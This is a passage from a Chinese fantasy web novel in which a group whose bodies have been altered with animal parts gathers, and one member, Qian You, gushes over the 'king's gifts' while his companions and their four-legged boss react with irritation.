邓玲的身边还站着因为后背皮肤全部被刺猬尖刺替代而不得不反穿着赵秋外套的祝予、光着站在人群中的赵秋长着一双又大又尖的耳朵,他的脑袋被夹杂双耳之间看起来十分滑稽,张龙和李彬二人的眼睛跟最开始他们遇见的鹰眼男一样,不过他们的脖子并不能那么灵活的运动,所以当孙德义发开始说话的时候他们不得不转过身子看向他。 “钱又呢?” “他还没出来孙总,中间那扇门还是关着的,他应该在里面。”张龙又侧过身体看着孙德义旁边那扇门。 孙德义操纵着四条腿缓缓移到那扇门前,抬起爪子随意拍在门上,门……门被砸得砰砰作响,但是还是没有打开,看来还是得里面的人站在门后才能开? “钱又!你在干嘛?还不快出来集合!”孙德义扯着嗓子喊了半天,门终于打开了。 钱又站在门后,脸上神色看起来有点懵,在看到四条腿站在他面前的孙德义时变成了惊讶以及……一丝说不出的羡慕? “孙总这是您的新身体吗?这太酷了!可以让我摸摸您的尾巴吗?好吧我知道这很冒昧对不起。” 众人:…… 孙德义:“你他妈给老子滚!老子现在没心情跟你开玩笑!” 钱又似是没听见他的谩骂,自顾自地说着:“国王陛下真是太厉害了,这么轻轻松松就解决掉了你的麻烦,我们还什么都没为他做呢!他真是慷慨啊!邓玲,让我看看你的新腿,哦这真是太厉害了,你现在可以在悬崖上如履平地了!”他一个接着一个地夸着他同伴们的新身体,丝毫没注意到其他人脸上的一言难尽,最后总结到,“真是太羡慕你们了!我就没有这么好的福气能获得国王陛下的馈赠,不过没关系!我们努力去完成任务,下一次朝见日陛下也会看见我的!走吧!我们赶快出发去为伟大的国王陛下排忧解难寻找发光的宝石吧!” 众人:……